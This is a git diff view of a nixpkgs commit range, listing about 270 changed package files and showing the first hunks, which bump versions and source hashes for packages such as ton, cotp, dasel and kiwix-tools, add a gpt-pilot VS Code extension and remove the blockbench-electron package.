about summary refs log tree commit diff
path: root/pkgs
diff options
context:
space:
mode:
Diffstat (limited to 'pkgs')
-rw-r--r--pkgs/applications/blockchains/ton/default.nix4
-rw-r--r--pkgs/applications/editors/vim/plugins/generated.nix10
-rw-r--r--pkgs/applications/editors/vim/plugins/vim-plugin-names2
-rw-r--r--pkgs/applications/editors/vscode/extensions/chenglou92.rescript-vscode/default.nix4
-rw-r--r--pkgs/applications/editors/vscode/extensions/default.nix21
-rw-r--r--pkgs/applications/gis/qgis/unwrapped.nix2
-rw-r--r--pkgs/applications/graphics/blockbench-electron/default.nix48
-rw-r--r--pkgs/applications/misc/cotp/default.nix6
-rw-r--r--pkgs/applications/misc/dasel/default.nix4
-rw-r--r--pkgs/applications/misc/jetbrains-toolbox/default.nix4
-rw-r--r--pkgs/applications/misc/kiwix/tools.nix4
-rw-r--r--pkgs/applications/misc/klipper-estimator/default.nix6
-rw-r--r--pkgs/applications/misc/makeself/default.nix6
-rw-r--r--pkgs/applications/misc/teleprompter/default.nix44
-rw-r--r--pkgs/applications/misc/waybar/default.nix11
-rw-r--r--pkgs/applications/misc/whalebird/default.nix4
-rw-r--r--pkgs/applications/networking/breitbandmessung/default.nix21
-rw-r--r--pkgs/applications/networking/breitbandmessung/sources.nix11
-rwxr-xr-xpkgs/applications/networking/breitbandmessung/update.sh29
-rw-r--r--pkgs/applications/networking/browsers/floorp/default.nix5
-rw-r--r--pkgs/applications/networking/browsers/librewolf/default.nix1
-rw-r--r--pkgs/applications/networking/browsers/librewolf/librewolf.nix3
-rw-r--r--pkgs/applications/networking/cluster/argocd/default.nix4
-rw-r--r--pkgs/applications/networking/cluster/arkade/default.nix4
-rw-r--r--pkgs/applications/networking/cluster/bosh-cli/default.nix4
-rw-r--r--pkgs/applications/networking/cluster/clusterctl/default.nix6
-rw-r--r--pkgs/applications/networking/cluster/helm/plugins/helm-diff.nix10
-rw-r--r--pkgs/applications/networking/cluster/kubectl-cnpg/default.nix6
-rw-r--r--pkgs/applications/networking/cluster/kubefirst/default.nix6
-rw-r--r--pkgs/applications/networking/discordo/default.nix6
-rw-r--r--pkgs/applications/networking/dnscontrol/default.nix11
-rw-r--r--pkgs/applications/networking/flexget/default.nix4
-rw-r--r--pkgs/applications/networking/ids/zeek/broker/default.nix10
-rw-r--r--pkgs/applications/networking/ids/zeek/default.nix4
-rw-r--r--pkgs/applications/networking/instant-messengers/mattermost-desktop/default.nix10
-rw-r--r--pkgs/applications/networking/instant-messengers/webcord/default.nix10
-rw-r--r--pkgs/applications/networking/mailreaders/betterbird/default.nix6
-rw-r--r--pkgs/applications/networking/pjsip/default.nix4
-rw-r--r--pkgs/applications/office/portfolio/default.nix4
-rw-r--r--pkgs/applications/radio/qlog/default.nix4
-rw-r--r--pkgs/applications/science/biology/minimap2/default.nix4
-rw-r--r--pkgs/applications/video/mpv/scripts/mpvacious.nix4
-rw-r--r--pkgs/applications/video/mythtv/default.nix20
-rw-r--r--pkgs/applications/video/mythtv/dont-source-os-release.patch2
-rw-r--r--pkgs/applications/video/vdr/markad/default.nix4
-rw-r--r--pkgs/applications/video/vdr/softhddevice/default.nix4
-rw-r--r--pkgs/applications/virtualization/docker/compose.nix6
-rw-r--r--pkgs/applications/window-managers/wayfire/firedecor.nix73
-rw-r--r--pkgs/applications/window-managers/wayfire/plugins.nix1
-rw-r--r--pkgs/build-support/bintools-wrapper/default.nix6
-rw-r--r--pkgs/build-support/cc-wrapper/default.nix6
-rw-r--r--pkgs/build-support/writers/data.nix2
-rw-r--r--pkgs/build-support/writers/scripts.nix8
-rw-r--r--pkgs/by-name/ai/airlift/package.nix4
-rw-r--r--pkgs/by-name/at/atuin/package.nix6
-rw-r--r--pkgs/by-name/ba/baresip/package.nix4
-rw-r--r--pkgs/by-name/bl/blockbench/package.nix87
-rw-r--r--pkgs/by-name/br/bruno/package.nix6
-rw-r--r--pkgs/by-name/ca/cargo-wizard/package.nix6
-rw-r--r--pkgs/by-name/co/cockpit/package.nix4
-rw-r--r--pkgs/by-name/ek/eksctl/package.nix6
-rw-r--r--pkgs/by-name/ez/eza/package.nix6
-rw-r--r--pkgs/by-name/he/hermitcli/package.nix34
-rw-r--r--pkgs/by-name/hy/hyprdim/package.nix (renamed from pkgs/applications/misc/hyprdim/default.nix)21
-rw-r--r--pkgs/by-name/hy/hyprnome/package.nix (renamed from pkgs/applications/misc/hyprnome/default.nix)21
-rw-r--r--pkgs/by-name/im/impression/package.nix16
-rw-r--r--pkgs/by-name/in/indiepass-desktop/package.nix58
-rw-r--r--pkgs/by-name/in/intune-portal/package.nix4
-rw-r--r--pkgs/by-name/ja/jankyborders/package.nix58
-rw-r--r--pkgs/by-name/ku/kubectl-validate/package.nix4
-rw-r--r--pkgs/by-name/la/labwc-menu-generator/package.nix6
-rw-r--r--pkgs/by-name/ll/llama-cpp/package.nix4
-rw-r--r--pkgs/by-name/lu/lutgen/package.nix6
-rw-r--r--pkgs/by-name/mk/mkalias/package.nix43
-rw-r--r--pkgs/by-name/my/mycelium/Cargo.lock232
-rw-r--r--pkgs/by-name/my/mycelium/package.nix6
-rw-r--r--pkgs/by-name/na/namespace-cli/package.nix4
-rw-r--r--pkgs/by-name/oi/oil/package.nix30
-rw-r--r--pkgs/by-name/oi/oils-for-unix/package.nix (renamed from pkgs/by-name/oi/oil-python/package.nix)37
-rw-r--r--pkgs/by-name/op/openapi-tui/package.nix6
-rw-r--r--pkgs/by-name/pd/pdpmake/package.nix29
-rw-r--r--pkgs/by-name/pe/pest/composer.lock49
-rw-r--r--pkgs/by-name/pe/pest/package.nix7
-rw-r--r--pkgs/by-name/pl/plumber/package.nix4
-rw-r--r--pkgs/by-name/pr/pretix/package.nix264
-rw-r--r--pkgs/by-name/pr/pretix/plugin-build.nix37
-rw-r--r--pkgs/by-name/pr/pretix/plugin-build.patch20
-rw-r--r--pkgs/by-name/pr/pretix/plugins/default.nix13
-rw-r--r--pkgs/by-name/pr/pretix/plugins/pages.nix37
-rw-r--r--pkgs/by-name/pr/pretix/plugins/passbook-openssl.patch33
-rw-r--r--pkgs/by-name/pr/pretix/plugins/passbook.nix59
-rw-r--r--pkgs/by-name/pr/pretix/plugins/reluctant-stripe.nix37
-rw-r--r--pkgs/by-name/pr/pretix/plugins/stretchgoals.nix37
-rw-r--r--pkgs/by-name/re/renode-dts2repl/package.nix6
-rw-r--r--pkgs/by-name/ry/ryujinx/deps.nix40
-rw-r--r--pkgs/by-name/ry/ryujinx/package.nix6
-rw-r--r--pkgs/by-name/si/signal-export/package.nix4
-rw-r--r--pkgs/by-name/sr/srb2kart/package.nix106
-rw-r--r--pkgs/by-name/ty/typst/Cargo.lock55
-rw-r--r--pkgs/by-name/ty/typst/package.nix6
-rw-r--r--pkgs/by-name/wa/warp-terminal/versions.json8
-rw-r--r--pkgs/by-name/wl/wl-clipboard-rs/package.nix21
-rw-r--r--pkgs/by-name/x5/x509-limbo/package.nix48
-rw-r--r--pkgs/by-name/xi/xiu/package.nix6
-rw-r--r--pkgs/data/fonts/iosevka/bin.nix2
-rw-r--r--pkgs/data/fonts/iosevka/variants.nix180
-rw-r--r--pkgs/data/icons/numix-icon-theme-circle/default.nix4
-rw-r--r--pkgs/desktops/deepin/apps/deepin-terminal/default.nix4
-rw-r--r--pkgs/desktops/expidus/calculator/default.nix50
-rw-r--r--pkgs/desktops/expidus/calculator/pubspec.lock.json790
-rw-r--r--pkgs/desktops/expidus/default.nix1
-rw-r--r--pkgs/desktops/gnome/extensions/default.nix1
-rw-r--r--pkgs/desktops/gnome/extensions/manuallyPackaged.nix1
-rw-r--r--pkgs/desktops/gnome/misc/gnome-extensions-cli/default.nix8
-rw-r--r--pkgs/desktops/mate/atril/default.nix11
-rw-r--r--pkgs/desktops/mate/caja-dropbox/default.nix8
-rw-r--r--pkgs/desktops/mate/caja-extensions/default.nix36
-rw-r--r--pkgs/desktops/mate/caja-extensions/hardcode-gsettings.patch169
-rw-r--r--pkgs/desktops/mate/caja-with-extensions/default.nix29
-rw-r--r--pkgs/desktops/mate/caja/default.nix12
-rw-r--r--pkgs/desktops/mate/caja/with-extensions.nix61
-rw-r--r--pkgs/desktops/mate/default.nix27
-rw-r--r--pkgs/desktops/mate/engrampa/default.nix15
-rw-r--r--pkgs/desktops/mate/eom/default.nix8
-rw-r--r--pkgs/desktops/mate/libmatekbd/default.nix4
-rw-r--r--pkgs/desktops/mate/libmatemixer/default.nix14
-rw-r--r--pkgs/desktops/mate/libmateweather/default.nix4
-rw-r--r--pkgs/desktops/mate/marco/default.nix11
-rw-r--r--pkgs/desktops/mate/mate-applets/default.nix11
-rw-r--r--pkgs/desktops/mate/mate-backgrounds/default.nix18
-rw-r--r--pkgs/desktops/mate/mate-calc/default.nix4
-rw-r--r--pkgs/desktops/mate/mate-common/default.nix8
-rw-r--r--pkgs/desktops/mate/mate-control-center/default.nix45
-rw-r--r--pkgs/desktops/mate/mate-desktop/default.nix14
-rw-r--r--pkgs/desktops/mate/mate-gsettings-overrides/default.nix24
-rw-r--r--pkgs/desktops/mate/mate-icon-theme/default.nix4
-rw-r--r--pkgs/desktops/mate/mate-indicator-applet/default.nix10
-rw-r--r--pkgs/desktops/mate/mate-media/default.nix36
-rw-r--r--pkgs/desktops/mate/mate-menus/default.nix4
-rw-r--r--pkgs/desktops/mate/mate-notification-daemon/default.nix8
-rw-r--r--pkgs/desktops/mate/mate-panel/default.nix37
-rw-r--r--pkgs/desktops/mate/mate-panel/with-applets.nix61
-rw-r--r--pkgs/desktops/mate/mate-polkit/default.nix10
-rw-r--r--pkgs/desktops/mate/mate-power-manager/default.nix6
-rw-r--r--pkgs/desktops/mate/mate-screensaver/default.nix14
-rw-r--r--pkgs/desktops/mate/mate-sensors-applet/default.nix13
-rw-r--r--pkgs/desktops/mate/mate-session-manager/default.nix15
-rw-r--r--pkgs/desktops/mate/mate-settings-daemon/default.nix16
-rw-r--r--pkgs/desktops/mate/mate-system-monitor/default.nix13
-rw-r--r--pkgs/desktops/mate/mate-terminal/default.nix4
-rw-r--r--pkgs/desktops/mate/mate-user-guide/default.nix6
-rw-r--r--pkgs/desktops/mate/mate-user-share/default.nix7
-rw-r--r--pkgs/desktops/mate/mate-utils/default.nix36
-rw-r--r--pkgs/desktops/mate/mate-wayland-session/default.nix58
-rw-r--r--pkgs/desktops/mate/mozo/default.nix8
-rw-r--r--pkgs/desktops/mate/pluma/default.nix6
-rw-r--r--pkgs/desktops/mate/python-caja/default.nix8
-rw-r--r--pkgs/development/interpreters/luau/default.nix4
-rw-r--r--pkgs/development/libraries/libtins/0001-force-cpp-14.patch26
-rw-r--r--pkgs/development/libraries/libtins/default.nix2
-rw-r--r--pkgs/development/libraries/rocksdb/default.nix32
-rw-r--r--pkgs/development/libraries/science/math/magma/generic.nix112
-rw-r--r--pkgs/development/misc/avr/libc/default.nix1
-rw-r--r--pkgs/development/php-packages/mongodb/default.nix4
-rw-r--r--pkgs/development/python-modules/aiooncue/default.nix6
-rw-r--r--pkgs/development/python-modules/aioshelly/default.nix4
-rw-r--r--pkgs/development/python-modules/amaranth/default.nix4
-rw-r--r--pkgs/development/python-modules/arviz/default.nix4
-rw-r--r--pkgs/development/python-modules/axis/default.nix4
-rw-r--r--pkgs/development/python-modules/boto3-stubs/default.nix4
-rw-r--r--pkgs/development/python-modules/botocore-stubs/default.nix4
-rw-r--r--pkgs/development/python-modules/cohere/default.nix4
-rw-r--r--pkgs/development/python-modules/css-inline/default.nix5
-rw-r--r--pkgs/development/python-modules/datadog/default.nix4
-rw-r--r--pkgs/development/python-modules/django-compressor/default.nix40
-rw-r--r--pkgs/development/python-modules/django-leaflet/default.nix4
-rw-r--r--pkgs/development/python-modules/django-otp/default.nix41
-rw-r--r--pkgs/development/python-modules/django-statici18n/default.nix26
-rw-r--r--pkgs/development/python-modules/dronecan/default.nix4
-rw-r--r--pkgs/development/python-modules/garminconnect/default.nix4
-rw-r--r--pkgs/development/python-modules/git-revise/default.nix1
-rw-r--r--pkgs/development/python-modules/google-cloud-pubsub/default.nix4
-rw-r--r--pkgs/development/python-modules/jsonargparse/default.nix4
-rw-r--r--pkgs/development/python-modules/langchain-core/default.nix4
-rw-r--r--pkgs/development/python-modules/langsmith/default.nix4
-rw-r--r--pkgs/development/python-modules/litellm/default.nix4
-rw-r--r--pkgs/development/python-modules/magika/default.nix54
-rw-r--r--pkgs/development/python-modules/mediafile/default.nix4
-rw-r--r--pkgs/development/python-modules/mkdocs-git-authors-plugin/default.nix6
-rw-r--r--pkgs/development/python-modules/mypy-boto3/default.nix26
-rw-r--r--pkgs/development/python-modules/niaarm/default.nix4
-rw-r--r--pkgs/development/python-modules/openllm-core/default.nix2
-rw-r--r--pkgs/development/python-modules/opower/default.nix4
-rw-r--r--pkgs/development/python-modules/paypalrestsdk/default.nix44
-rw-r--r--pkgs/development/python-modules/pylacrosse/default.nix4
-rw-r--r--pkgs/development/python-modules/streamlit/default.nix4
-rw-r--r--pkgs/development/python-modules/tpm2-pytss/default.nix38
-rw-r--r--pkgs/development/python-modules/wallet-py3k/default.nix47
-rw-r--r--pkgs/development/python-modules/wallet-py3k/openssl-path.patch13
-rw-r--r--pkgs/development/tools/analysis/rr/zen_workaround.nix6
-rw-r--r--pkgs/development/tools/build-managers/buck2/default.nix4
-rw-r--r--pkgs/development/tools/build-managers/buck2/hashes.json10
-rw-r--r--pkgs/development/tools/build-managers/moon/default.nix6
-rw-r--r--pkgs/development/tools/continuous-integration/cirrus-cli/default.nix4
-rw-r--r--pkgs/development/tools/database/dbmate/default.nix6
-rw-r--r--pkgs/development/tools/database/pgweb/default.nix4
-rw-r--r--pkgs/development/tools/electron/binary/default.nix9
-rw-r--r--pkgs/development/tools/go-containerregistry/default.nix4
-rw-r--r--pkgs/development/tools/reindeer/default.nix10
-rw-r--r--pkgs/development/tools/rust/sqlx-cli/default.nix6
-rw-r--r--pkgs/development/tools/semantic-release/default.nix6
-rw-r--r--pkgs/development/tools/skopeo/default.nix4
-rw-r--r--pkgs/development/web/deno/default.nix6
-rw-r--r--pkgs/development/web/deno/librusty_v8.nix10
-rw-r--r--pkgs/development/web/publii/default.nix4
-rw-r--r--pkgs/games/srb2kart/default.nix87
-rw-r--r--pkgs/games/srb2kart/wadlocation.patch61
-rw-r--r--pkgs/misc/screensavers/xlockmore/default.nix4
-rw-r--r--pkgs/os-specific/linux/dpdk/default.nix4
-rw-r--r--pkgs/os-specific/linux/ipp-usb/default.nix4
-rw-r--r--pkgs/os-specific/linux/kernel/generic.nix5
-rw-r--r--pkgs/os-specific/linux/kernel/hardened/patches.json60
-rw-r--r--pkgs/os-specific/linux/kernel/kernels-org.json32
-rw-r--r--pkgs/os-specific/linux/kernel/linux-libre.nix4
-rw-r--r--pkgs/os-specific/linux/kernel/linux-rt-5.10.nix6
-rw-r--r--pkgs/os-specific/linux/kernel/linux-rt-5.4.nix6
-rw-r--r--pkgs/os-specific/linux/kernel/linux-rt-6.6.nix6
-rw-r--r--pkgs/os-specific/linux/microcode/intel.nix4
-rw-r--r--pkgs/os-specific/linux/odp-dpdk/default.nix6
-rw-r--r--pkgs/os-specific/linux/rasdaemon/default.nix9
-rw-r--r--pkgs/servers/home-assistant/custom-components/default.nix6
-rw-r--r--pkgs/servers/home-assistant/custom-components/epex_spot/default.nix39
-rw-r--r--pkgs/servers/home-assistant/custom-components/moonraker/default.nix35
-rw-r--r--pkgs/servers/home-assistant/custom-components/omnik_inverter/default.nix32
-rw-r--r--pkgs/servers/minio/default.nix6
-rw-r--r--pkgs/servers/monitoring/grafana-agent/default.nix6
-rw-r--r--pkgs/servers/monitoring/grafana/default.nix52
-rw-r--r--pkgs/servers/monitoring/prometheus/smartctl-exporter/default.nix6
-rw-r--r--pkgs/servers/redpanda/default.nix6
-rw-r--r--pkgs/servers/roon-server/default.nix4
-rw-r--r--pkgs/servers/sonarr/default.nix10
-rw-r--r--pkgs/servers/sql/postgresql/ext/plpgsql_check.nix4
-rw-r--r--pkgs/shells/fish/plugins/forgit.nix4
-rw-r--r--pkgs/shells/nix-your-shell/default.nix6
-rw-r--r--pkgs/shells/zsh/zsh-fzf-tab/default.nix8
-rw-r--r--pkgs/tools/admin/pulumi-bin/data.nix194
-rw-r--r--pkgs/tools/audio/beets/default.nix19
-rw-r--r--pkgs/tools/misc/fastfetch/default.nix4
-rw-r--r--pkgs/tools/misc/hunt/default.nix6
-rw-r--r--pkgs/tools/misc/kcollectd/default.nix4
-rw-r--r--pkgs/tools/misc/ollama/default.nix27
-rw-r--r--pkgs/tools/misc/pricehist/default.nix10
-rw-r--r--pkgs/tools/networking/openssh/default.nix6
-rw-r--r--pkgs/tools/networking/v2ray/default.nix6
-rw-r--r--pkgs/tools/package-management/comma/default.nix6
-rw-r--r--pkgs/tools/package-management/dnf5/default.nix4
-rw-r--r--pkgs/tools/package-management/nix/default.nix8
-rw-r--r--pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch379
-rw-r--r--pkgs/tools/security/cloudfox/default.nix8
-rw-r--r--pkgs/tools/security/cnspec/default.nix6
-rw-r--r--pkgs/tools/security/munge/default.nix4
-rw-r--r--pkgs/tools/security/trufflehog/default.nix6
-rw-r--r--pkgs/tools/text/vale/default.nix1
-rw-r--r--pkgs/tools/wayland/wleave/default.nix6
-rw-r--r--pkgs/top-level/aliases.nix3
-rw-r--r--pkgs/top-level/all-packages.nix31
-rw-r--r--pkgs/top-level/linux-kernels.nix3
-rw-r--r--pkgs/top-level/python-aliases.nix1
-rw-r--r--pkgs/top-level/python-packages.nix8
-rw-r--r--pkgs/top-level/ruby-packages.nix258
270 files changed, 4040 insertions, 2311 deletions
diff --git a/pkgs/applications/blockchains/ton/default.nix b/pkgs/applications/blockchains/ton/default.nix
index 0db8d3f16876..888b6f8d2b97 100644
--- a/pkgs/applications/blockchains/ton/default.nix
+++ b/pkgs/applications/blockchains/ton/default.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "ton";
-  version = "2024.02";
+  version = "2024.03";
 
   src = fetchFromGitHub {
     owner = "ton-blockchain";
     repo = "ton";
     rev = "v${version}";
-    hash = "sha256-ZYW1/7jebgPu0IvBkopUjaXZZLymJ4yYp8Di0vI2WUg=";
+    hash = "sha256-AVg33aZAyedmNIFqQJm4Nn6luLxK4mKgnIRmNU7j2C0=";
     fetchSubmodules = true;
   };
 
diff --git a/pkgs/applications/editors/vim/plugins/generated.nix b/pkgs/applications/editors/vim/plugins/generated.nix
index 75f34b1d32a9..245d333d3c07 100644
--- a/pkgs/applications/editors/vim/plugins/generated.nix
+++ b/pkgs/applications/editors/vim/plugins/generated.nix
@@ -6625,14 +6625,14 @@ final: prev:
 
   neotest-pest = buildVimPlugin {
     pname = "neotest-pest";
-    version = "2024-02-16";
+    version = "2024-03-04";
     src = fetchFromGitHub {
-      owner = "theutz";
+      owner = "V13Axel";
       repo = "neotest-pest";
-      rev = "94ed941af4ea6e7d0caa4de8afbf966f3cfe35e4";
-      sha256 = "1655rpr007ix9z4nxkabnvdk8c0kj080waxddaq656dhdzdj7l1q";
+      rev = "25501800b5b8da578a03bb178a007d6f8abe7ae3";
+      sha256 = "sha256-S36yvNrg6rroZbySOt9SKrHGSV6HUgRlSPUh79RNZ7M=";
     };
-    meta.homepage = "https://github.com/theutz/neotest-pest/";
+    meta.homepage = "https://github.com/V13Axel/neotest-pest/";
   };
 
   neotest-phpunit = buildVimPlugin {
diff --git a/pkgs/applications/editors/vim/plugins/vim-plugin-names b/pkgs/applications/editors/vim/plugins/vim-plugin-names
index 78c923ef87d5..10bf21e16d20 100644
--- a/pkgs/applications/editors/vim/plugins/vim-plugin-names
+++ b/pkgs/applications/editors/vim/plugins/vim-plugin-names
@@ -555,7 +555,7 @@ https://github.com/jfpedroza/neotest-elixir/,HEAD,
 https://github.com/nvim-neotest/neotest-go/,HEAD,
 https://github.com/MrcJkb/neotest-haskell/,HEAD,
 https://github.com/haydenmeade/neotest-jest/,HEAD,
-https://github.com/theutz/neotest-pest/,HEAD,
+https://github.com/V13Axel/neotest-pest/,HEAD,
 https://github.com/olimorris/neotest-phpunit/,HEAD,
 https://github.com/nvim-neotest/neotest-plenary/,HEAD,
 https://github.com/nvim-neotest/neotest-python/,HEAD,
diff --git a/pkgs/applications/editors/vscode/extensions/chenglou92.rescript-vscode/default.nix b/pkgs/applications/editors/vscode/extensions/chenglou92.rescript-vscode/default.nix
index 530b28f30844..34f892df6c3b 100644
--- a/pkgs/applications/editors/vscode/extensions/chenglou92.rescript-vscode/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/chenglou92.rescript-vscode/default.nix
@@ -1,6 +1,6 @@
 { lib, stdenv, vscode-utils, callPackage }:
 let
-  version = "1.48.0";
+  version = "1.50.0";
   rescript-editor-analysis = callPackage ./rescript-editor-analysis.nix { inherit version; };
   arch =
     if stdenv.isLinux then "linux"
@@ -13,7 +13,7 @@ vscode-utils.buildVscodeMarketplaceExtension rec {
     name = "rescript-vscode";
     publisher = "chenglou92";
     inherit version;
-    sha256 = "sha256-/1nDuj/kSdkV6PlbdlOLfUKQeuvyL2VhPjUAr9kq2NM=";
+    sha256 = "sha256-Dt7mqZQ/vEUFyUD5SsY6RGzg9kq19/Amksrwtfv0TuE=";
   };
   postPatch = ''
     rm -r ${analysisDir}
diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix
index bc46fff96ebe..8f3dda040fc0 100644
--- a/pkgs/applications/editors/vscode/extensions/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/default.nix
@@ -409,8 +409,8 @@ let
         mktplcRef = {
           name = "vscode-neovim";
           publisher = "asvetliakov";
-          version = "1.5.0";
-          sha256 = "1glad9xmzq58jc7js8afjmqrxgd3rqm80fk528wv5kqcmn90bgk3";
+          version = "1.7.1";
+          sha256 = "0ib4sjk7r370ckvaqb4yzgy7csy8pli9z2jhibhhwwcq2748ah4q";
         };
         meta = {
           changelog = "https://marketplace.visualstudio.com/items/asvetliakov.vscode-neovim/changelog";
@@ -3330,6 +3330,23 @@ let
         };
       };
 
+      pythagoratechnologies.gpt-pilot-vs-code = buildVscodeMarketplaceExtension {
+        mktplcRef = {
+          name = "gpt-pilot-vs-code";
+          publisher = "PythagoraTechnologies";
+          version = "0.1.7";
+          sha256 = "sha256-EUddanrB6h5cn3pK2JTkEPffVb06ZMI2qDPh0kFfJjA=";
+        };
+        meta = {
+          changelog = "https://marketplace.visualstudio.com/items/PythagoraTechnologies.gpt-pilot-vs-code/changelog";
+          description = "A VSCode extension for assisting the developer to code, debug, build applications using LLMs/AI";
+          downloadPage = "https://marketplace.visualstudio.com/items?itemName=PythagoraTechnologies.gpt-pilot-vs-code";
+          homepage = "https://github.com/Pythagora-io/gpt-pilot/";
+          license = lib.licenses.asl20;
+          maintainers = [ ];
+        };
+      };
+
       quicktype.quicktype = buildVscodeMarketplaceExtension {
         mktplcRef = {
           name = "quicktype";
diff --git a/pkgs/applications/gis/qgis/unwrapped.nix b/pkgs/applications/gis/qgis/unwrapped.nix
index ac72139796d4..04c02c8c0d78 100644
--- a/pkgs/applications/gis/qgis/unwrapped.nix
+++ b/pkgs/applications/gis/qgis/unwrapped.nix
@@ -98,9 +98,9 @@ in mkDerivation rec {
     wrapGAppsHook
     wrapQtAppsHook
 
+    bison
     cmake
     flex
-    bison
     ninja
   ];
 
diff --git a/pkgs/applications/graphics/blockbench-electron/default.nix b/pkgs/applications/graphics/blockbench-electron/default.nix
deleted file mode 100644
index 50a10310546d..000000000000
--- a/pkgs/applications/graphics/blockbench-electron/default.nix
+++ /dev/null
@@ -1,48 +0,0 @@
-{ lib, stdenv, fetchurl, appimageTools, makeWrapper, electron_25 }:
-
-stdenv.mkDerivation rec {
-  pname = "blockbench-electron";
-  version = "4.8.1";
-
-  src = fetchurl {
-    url = "https://github.com/JannisX11/blockbench/releases/download/v${version}/Blockbench_${version}.AppImage";
-    sha256 = "sha256-CE2wDOt1WBcYmPs4sEyZ3LYvKLequFZH0B3huMYHlwA=";
-    name = "${pname}-${version}.AppImage";
-  };
-
-  appimageContents = appimageTools.extractType2 {
-    name = "${pname}-${version}";
-    inherit src;
-  };
-
-  dontUnpack = true;
-  dontConfigure = true;
-  dontBuild = true;
-
-  nativeBuildInputs = [ makeWrapper ];
-
-  installPhase = ''
-    runHook preInstall
-    mkdir -p $out/bin $out/share/${pname} $out/share/applications
-    cp -a ${appimageContents}/{locales,resources} $out/share/${pname}
-    cp -a ${appimageContents}/blockbench.desktop $out/share/applications/${pname}.desktop
-    cp -a ${appimageContents}/usr/share/icons $out/share
-    substituteInPlace $out/share/applications/${pname}.desktop \
-      --replace 'Exec=AppRun' 'Exec=${pname}'
-    runHook postInstall
-  '';
-
-  postFixup = ''
-    makeWrapper ${electron_25}/bin/electron $out/bin/${pname} \
-      --add-flags $out/share/${pname}/resources/app.asar \
-      --prefix LD_LIBRARY_PATH : "${lib.makeLibraryPath [ stdenv.cc.cc ]}"
-  '';
-
-  meta = with lib; {
-    description = "A boxy 3D model editor powered by Electron";
-    homepage = "https://blockbench.net/";
-    license = licenses.gpl3Only;
-    maintainers = with maintainers; [ ckie ];
-    platforms = [ "x86_64-linux" ];
-  };
-}
diff --git a/pkgs/applications/misc/cotp/default.nix b/pkgs/applications/misc/cotp/default.nix
index 824b4353b35f..10ec80724739 100644
--- a/pkgs/applications/misc/cotp/default.nix
+++ b/pkgs/applications/misc/cotp/default.nix
@@ -8,16 +8,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "cotp";
-  version = "1.4.5";
+  version = "1.5.0";
 
   src = fetchFromGitHub {
     owner = "replydev";
     repo = "cotp";
     rev = "v${version}";
-    hash = "sha256-q0SI/y4pSNoU+4aQzpkUNioqrxmLxiA2GD1pmyLUISw=";
+    hash = "sha256-Zs/RUpyu8GG4koprC+8aSzpPUSLc19p/XinY5fR5Z4A=";
   };
 
-  cargoHash = "sha256-pwhihmrFzb7y4ztXnzJVeMbo5VBoyjJTEDh5ogECLrA=";
+  cargoHash = "sha256-jYKu1sAzPUfv8gQj3V4zxarRj3XUhyD/5n1WqMuLF/g=";
 
   buildInputs = lib.optionals stdenv.isLinux [ libxcb ]
     ++ lib.optionals stdenv.isDarwin [ AppKit ];
diff --git a/pkgs/applications/misc/dasel/default.nix b/pkgs/applications/misc/dasel/default.nix
index 75ffbb9080bd..56bd8bce5bc0 100644
--- a/pkgs/applications/misc/dasel/default.nix
+++ b/pkgs/applications/misc/dasel/default.nix
@@ -6,13 +6,13 @@
 
 buildGoModule rec {
   pname = "dasel";
-  version = "2.6.0";
+  version = "2.7.0";
 
   src = fetchFromGitHub {
     owner = "TomWright";
     repo = "dasel";
     rev = "v${version}";
-    hash = "sha256-4SINZXjTILJDmjv6ubuAhBzBmrXY0gJ0huNM3Y0O7Go=";
+    hash = "sha256-N3WeU+8KJwYKvuN4I1ZNEtIgLTmh/XgnhwATwV7dsvY=";
   };
 
   vendorHash = "sha256-G9IdTMF5Lnwq38rdJtuvUjD4RBaSmCYs3g+ETz29Mec=";
diff --git a/pkgs/applications/misc/jetbrains-toolbox/default.nix b/pkgs/applications/misc/jetbrains-toolbox/default.nix
index f9e942ca9411..6019ffed2b89 100644
--- a/pkgs/applications/misc/jetbrains-toolbox/default.nix
+++ b/pkgs/applications/misc/jetbrains-toolbox/default.nix
@@ -9,11 +9,11 @@
 }:
 let
   pname = "jetbrains-toolbox";
-  version = "2.2.2.20062";
+  version = "2.2.3.20090";
 
   src = fetchzip {
     url = "https://download.jetbrains.com/toolbox/jetbrains-toolbox-${version}.tar.gz";
-    sha256 = "sha256-wIO9QQa+YfNNqO5HlijVxBDOgVSsJhtGmfChKA8QpPo=";
+    sha256 = "sha256-SqxQF5pG61CySsDzdZ1P2C9cCe/B145D0S+T4NByif8=";
     stripRoot = false;
   };
 
diff --git a/pkgs/applications/misc/kiwix/tools.nix b/pkgs/applications/misc/kiwix/tools.nix
index 979ce433fb4b..b5e123b41264 100644
--- a/pkgs/applications/misc/kiwix/tools.nix
+++ b/pkgs/applications/misc/kiwix/tools.nix
@@ -11,13 +11,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "kiwix-tools";
-  version = "3.6.0";
+  version = "3.7.0";
 
   src = fetchFromGitHub {
     owner = "kiwix";
     repo = "kiwix-tools";
     rev = finalAttrs.version;
-    hash = "sha256-+th86lMAuCcmWj06yQoZ1L7rLZKqNvuTrV+Rra2km44=";
+    hash = "sha256-JwF4EN5kyHEfNoMhHb9ywe+7pmgQtjEd2FeRUeTjvQw=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/applications/misc/klipper-estimator/default.nix b/pkgs/applications/misc/klipper-estimator/default.nix
index baecf249a6b9..76e89cca6a47 100644
--- a/pkgs/applications/misc/klipper-estimator/default.nix
+++ b/pkgs/applications/misc/klipper-estimator/default.nix
@@ -11,16 +11,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "klipper-estimator";
-  version = "3.6.0";
+  version = "3.7.0";
 
   src = fetchFromGitHub {
     owner = "Annex-Engineering";
     repo = "klipper_estimator";
     rev = "v${version}";
-    hash = "sha256-1Od4sIHrg52DezV5DCg2NVv/2nbXQW3fK6f9aqVmlTk=";
+    hash = "sha256-tGyqJtRKdfiWnf76F3W8P5XoLLMTrPWGlZ7Kwn8n/XQ=";
   };
 
-  cargoHash = "sha256-5O2KUTegK5ArTalJ57/Kn9lzlkmAIXnzluljvfrIc5U=";
+  cargoHash = "sha256-ztGPqnZfP55WXfiKDSacdsalkDVuiLcfo3g4CtkFUXc=";
 
   buildInputs =
     [ openssl ]
